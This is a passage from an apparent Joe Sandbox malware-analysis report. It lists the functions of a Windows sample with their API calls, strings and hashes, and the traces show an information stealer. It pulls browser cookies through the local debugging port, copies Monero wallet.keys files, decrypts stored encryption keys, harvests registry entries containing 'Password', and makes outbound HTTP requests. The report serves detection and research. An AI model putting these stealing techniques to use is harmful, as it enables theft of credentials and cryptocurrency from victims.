Opcode ID: 3d5b29054da5670355bc47a3ef98a3004a059b9b8ac5a4aa4551be14df1a2622
Instruction ID: 10e28e27f8310718b6ba80730479b5f5aa21db4f80fde089773ab5c9bbbb1b88
Opcode Fuzzy Hash: 3d5b29054da5670355bc47a3ef98a3004a059b9b8ac5a4aa4551be14df1a2622
Instruction Fuzzy Hash: 2A12DA71D10118ABCB18FBA0DDA2FFDB7B9AF14300F4045D9E11666192EFB46B49CBA1

Function 00BA9BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA9A50: InternetOpenA.WININET(00BC0AF6,00000001,00000000,00000000,00000000), ref: 00BA9A6A

lstrcat.KERNEL32(?,cookies), ref: 00BA9CAF
lstrcat.KERNEL32(?,00BC12C4), ref: 00BA9CC1
lstrcat.KERNEL32(?,?), ref: 00BA9CD5
lstrcat.KERNEL32(?,00BC12C8), ref: 00BA9CE7
lstrcat.KERNEL32(?,?), ref: 00BA9CFB
lstrcat.KERNEL32(?,.txt), ref: 00BA9D0D
lstrlen.KERNEL32(00000000), ref: 00BA9D17
lstrlen.KERNEL32(00000000), ref: 00BA9D26

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Strings

.txt, xrefs: 00BA9D01
/devtools, xrefs: 00BA9C0B
cookies, xrefs: 00BA9CA3
ws://localhost:9229, xrefs: 00BA9C3C
localhost, xrefs: 00BA9BF5

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 3174675846-3542011879
Opcode ID: c099170279f0b8043e3c2407b2b17c28a8efd5a9eae6e5dba802f84ddddd7528
Instruction ID: 9ef4b451dddc8a3fc746c50d172e6133ae406b121e584877bd5af5df3213dbdf
Opcode Fuzzy Hash: c099170279f0b8043e3c2407b2b17c28a8efd5a9eae6e5dba802f84ddddd7528
Instruction Fuzzy Hash: 575182B5D10508ABCB14EBE4DC95FEE73B8AF05301F404598F21AA7091EF709A88CF61

Function 00BB5510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA62D0: InternetOpenA.WININET(00BC0DFF,00000001,00000000,00000000,00000000), ref: 00BA6331
Part of subcall function 00BA62D0: StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA6353
Part of subcall function 00BA62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BA6385
Part of subcall function 00BA62D0: HttpOpenRequestA.WININET(00000000,GET,?,0130E828,00000000,00000000,00400100,00000000), ref: 00BA63D5
Part of subcall function 00BA62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BA640F
Part of subcall function 00BA62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BA6421

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BB5568
lstrlen.KERNEL32(00000000), ref: 00BB557F

Part of subcall function 00BB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BB8FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 00BB55B4
lstrlen.KERNEL32(00000000), ref: 00BB55D3
lstrlen.KERNEL32(00000000), ref: 00BB55FE

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Strings

ERROR, xrefs: 00BB5682
ERROR, xrefs: 00BB56BF
ERROR, xrefs: 00BB56F9
ERROR, xrefs: 00BB555A
ERROR, xrefs: 00BB5609

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 5c189d2bd093997c2f514ccbe167a7576746b798385e53ae7f0cbee44c856817
Instruction ID: ed968ceaa326bc303e70f5e96552f0fbc3849104cd9e1a701027f44fad22b172
Opcode Fuzzy Hash: 5c189d2bd093997c2f514ccbe167a7576746b798385e53ae7f0cbee44c856817
Instruction Fuzzy Hash: 3651DB70A10108ABCF24EF64DDA7BFD77B9AF10340F504498E41A67592EFB06B45CB62

Function 00BB1520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 6b537c5227b297e5fca4045d0974d1f889ee5964d7efd236da2cda6f25e22505
Instruction ID: 03f1fa89c73df4594f72cba29ce2b380ca9e69013da1533ef766f4da94d8ba3a
Opcode Fuzzy Hash: 6b537c5227b297e5fca4045d0974d1f889ee5964d7efd236da2cda6f25e22505
Instruction Fuzzy Hash: 01C173B5D00219ABCF14EF60DC99FEE77B9AF54304F0049D8E509A7251DAB0AA85CF91

Function 00BB44D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00BB453C
lstrcat.KERNEL32(?,0130E840), ref: 00BB455B
lstrcat.KERNEL32(?,?), ref: 00BB456F
lstrcat.KERNEL32(?,0130DA58), ref: 00BB4583

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BB8F20: GetFileAttributesA.KERNEL32(00000000,?,00BA1B94,?,?,00BC577C,?,?,00BC0E22), ref: 00BB8F2F

Part of subcall function 00BAA430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BAA489

Part of subcall function 00BAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
Part of subcall function 00BAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
Part of subcall function 00BAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
Part of subcall function 00BAA110: ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
Part of subcall function 00BAA110: LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
Part of subcall function 00BAA110: CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

Part of subcall function 00BB9550: GlobalAlloc.KERNEL32(00000000,00BB462D,00BB462D), ref: 00BB9563

StrStrA.SHLWAPI(?,0130E660), ref: 00BB4643
GlobalFree.KERNEL32(?), ref: 00BB4762

Part of subcall function 00BAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA23F
Part of subcall function 00BAA210: LocalAlloc.KERNEL32(00000040,?,?,?,00BA4F3E,00000000,?), ref: 00BAA251
Part of subcall function 00BAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA27A
Part of subcall function 00BAA210: LocalFree.KERNEL32(?,?,?,?,00BA4F3E,00000000,?), ref: 00BAA28F

lstrcat.KERNEL32(?,00000000), ref: 00BB46F3
StrCmpCA.SHLWAPI(?,00BC08D2), ref: 00BB4710
lstrcat.KERNEL32(00000000,00000000), ref: 00BB4722
lstrcat.KERNEL32(00000000,?), ref: 00BB4735
lstrcat.KERNEL32(00000000,00BC0FA0), ref: 00BB4744

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: e9148c4c0952fc205a57828c2c446c99aa5511fdb144f2c5512261a2030c4630
Instruction ID: a74e083c9eddc840ffcb4fdf8febffa92b349a84cafba50426d00dfb9e74e9c7
Opcode Fuzzy Hash: e9148c4c0952fc205a57828c2c446c99aa5511fdb144f2c5512261a2030c4630
Instruction Fuzzy Hash: F77165B6900208ABDF14EBA0DD95FEE77BDAB88300F0045D8B619A6151EB75DB48CB61

Function 00BA1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA12B4
Part of subcall function 00BA12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00BA12BB
Part of subcall function 00BA12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BA12D7
Part of subcall function 00BA12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BA12F5
Part of subcall function 00BA12A0: RegCloseKey.ADVAPI32(?), ref: 00BA12FF

lstrcat.KERNEL32(?,00000000), ref: 00BA134F
lstrlen.KERNEL32(?), ref: 00BA135C
lstrcat.KERNEL32(?,.keys), ref: 00BA1377

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00BA1465

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
Part of subcall function 00BAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
Part of subcall function 00BAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
Part of subcall function 00BAA110: ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
Part of subcall function 00BAA110: LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
Part of subcall function 00BAA110: CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

DeleteFileA.KERNEL32(00000000), ref: 00BA14EF

Strings

\Monero\wallet.keys, xrefs: 00BA138D
wallet_path, xrefs: 00BA1330
.keys, xrefs: 00BA136B
SOFTWARE\monero-project\monero-core, xrefs: 00BA1335

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: a5b9750836e0bbebc375724883bdb234b8054bd2ebe9dd622fb9d2edbac18c83
Instruction ID: 08a79673a46b4928b28496ba7aef5bd7d0092ba78d9a2dda347d13e884df763c
Opcode Fuzzy Hash: a5b9750836e0bbebc375724883bdb234b8054bd2ebe9dd622fb9d2edbac18c83
Instruction Fuzzy Hash: A35143B1D501186BCB65FB60DD92FFD73BC9B54300F4045E8B60A62092EE706B89CFA5

Function 00BA9A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00BC0AF6,00000001,00000000,00000000,00000000), ref: 00BA9A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00BA9AAB
InternetCloseHandle.WININET(00000000), ref: 00BA9AC7

Strings

"ws://, xrefs: 00BA9B84
http://localhost:9229/json, xrefs: 00BA9A9F
"webSocketDebuggerUrl":, xrefs: 00BA9B4B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 549ffadcf36e62e8bacb8a32497753dfd496d2b9c37b522732d5079c43317e1f
Instruction ID: be6b30fefedbc89fbb5dbe177e6a39c30d12adab87bc9e45d8755b3a53c5dfaf
Opcode Fuzzy Hash: 549ffadcf36e62e8bacb8a32497753dfd496d2b9c37b522732d5079c43317e1f
Instruction Fuzzy Hash: 8D41F775A14218AFDB14EBA4CC95FEE77B8EB48740F1040D9F549AA190DBB0AE84CB60

Function 00BA7630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA7330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BA739A
Part of subcall function 00BA7330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BA7411
Part of subcall function 00BA7330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BA746D
Part of subcall function 00BA7330: GetProcessHeap.KERNEL32(00000000,?), ref: 00BA74B2
Part of subcall function 00BA7330: HeapFree.KERNEL32(00000000), ref: 00BA74B9

lstrcat.KERNEL32(00000000,00BC192C), ref: 00BA7666
lstrcat.KERNEL32(00000000,00000000), ref: 00BA76A8
lstrcat.KERNEL32(00000000, : ), ref: 00BA76BA
lstrcat.KERNEL32(00000000,00000000), ref: 00BA76EF
lstrcat.KERNEL32(00000000,00BC1934), ref: 00BA7700
lstrcat.KERNEL32(00000000,00000000), ref: 00BA7733
lstrcat.KERNEL32(00000000,00BC1938), ref: 00BA774D
task.LIBCPMTD ref: 00BA775B

Strings

: , xrefs: 00BA76AE

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 7c7df4b170306f08dc7a51183d3c80ca9b9cf4bd87b0790edc0050cc2748c55d
Instruction ID: f807971939b1c8db969e9097ee986f30913ee23c8fb9a0175208510020471aee
Opcode Fuzzy Hash: 7c7df4b170306f08dc7a51183d3c80ca9b9cf4bd87b0790edc0050cc2748c55d
Instruction Fuzzy Hash: 243161B1D0C104EFDB04EBA4DC96DFE77B9AB49301B504168F116B32A1DE34A98ACB90

Function 00BB8290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0130E468,00000000,?,00BC0E14,00000000,?,00000000), ref: 00BB82C0
RtlAllocateHeap.NTDLL(00000000), ref: 00BB82C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00BB82E8
__aulldiv.LIBCMT ref: 00BB8302
__aulldiv.LIBCMT ref: 00BB8310
wsprintfA.USER32 ref: 00BB833C

Strings

%d MB, xrefs: 00BB8333
@, xrefs: 00BB82DD

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 17caed44d843369f8ec1b56477c2164516d396e11118f3f413884ec39d6a8976
Instruction ID: 90c395e8ec104393e64cfe9ffd0477597ef92af24e8fefe812e3037715421e68
